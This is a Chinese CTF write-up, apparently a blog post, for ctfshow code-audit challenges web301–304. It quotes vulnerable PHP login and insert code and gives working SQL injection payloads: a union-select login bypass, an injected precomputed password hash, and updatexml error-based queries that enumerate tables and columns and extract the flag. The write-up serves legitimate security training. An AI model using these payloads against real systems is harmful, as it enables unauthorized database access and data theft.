【ctfshow持续更新中】web入门-代码审计

 

web301

根据下载的代码,可以看到checklogin.php这个文件:

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}

发现sql语句没有过滤,直接使用联合注入

第二个if中告诉我们只有通过sql语句查到的密码和我们的密码相同时才可以登录

1闭合,联合查询123,这样返回的密码是123了,最后只要登录的密码也为123就可以拿到flag了

1' union select 123 #
123

web302

strcasecmp对比两个有什么区别,不区分大小写,相同输出0

搜索sds_decode得到:

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

相当于给密码加密了

在本地运行一下这个加密的

<?php
$str=1;
echo md5(md5($str.md5(base64_encode("sds")))."sds");
?>

这样就可以注入了

用户名:1' union select 'd9c77c4e454869d5d8da3b4be79694d3' #

密码:1

就可以登录进去得到flag了 

web303

先看文件checklogin.php:

strlen返回字符串的字节数(整数)

if(strlen($username)>6){
	die();
}

对username进行了长度限制

看下一个文件sds_user.sql:

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

 从这可得知,账号是admin,密码也是admin,因为密码进行了加密,文件在fun.php中

在文件中找到$sql的语句:

文件checklogin.php:
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

文件dpt.php:
$sql="select * from sds_dpt order by id;";

文件dptadd.php:
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

由此可以看出,sql注入点在dptadd.php中,先找到dpt.php网页,根据代码提示,使用dptadd是在新增的时候

 

根据sql语句可以进行报错注入

查数据库名字:

1' or updatexml(1,concat(0x7e,(database())),0) or ' #

以此类推

查表名:sds_fl9g

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or ' #

查字段名:flag

1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_fl9g')),0) or ' #

获取数据:

因为flag没有显示完全,所以用substr截取的方式获取全部

1' or updatexml(1,concat(0x7e,(select substr(group_concat(flag),1,30) from sds_fl9g)),0) or ' #

web304

增加了全局waf

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

代码文件还是web303的,按照前面做法先使用账户admin密码admin进行登录,进行注入

根据注入结果,和web303一样,(这里我也不知道waf咋过滤的,我用web303的注入语句去注入也可以得出)

注入语句:

查表名:sds_flaag

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or ' #

查字段名:flag

1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sds_flaag')),0) or ' #

获取flag:

1' or updatexml(1,concat(0x7e,(select substr(group_concat(flag),1,30) from sds_flaag)),0) or ' #

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值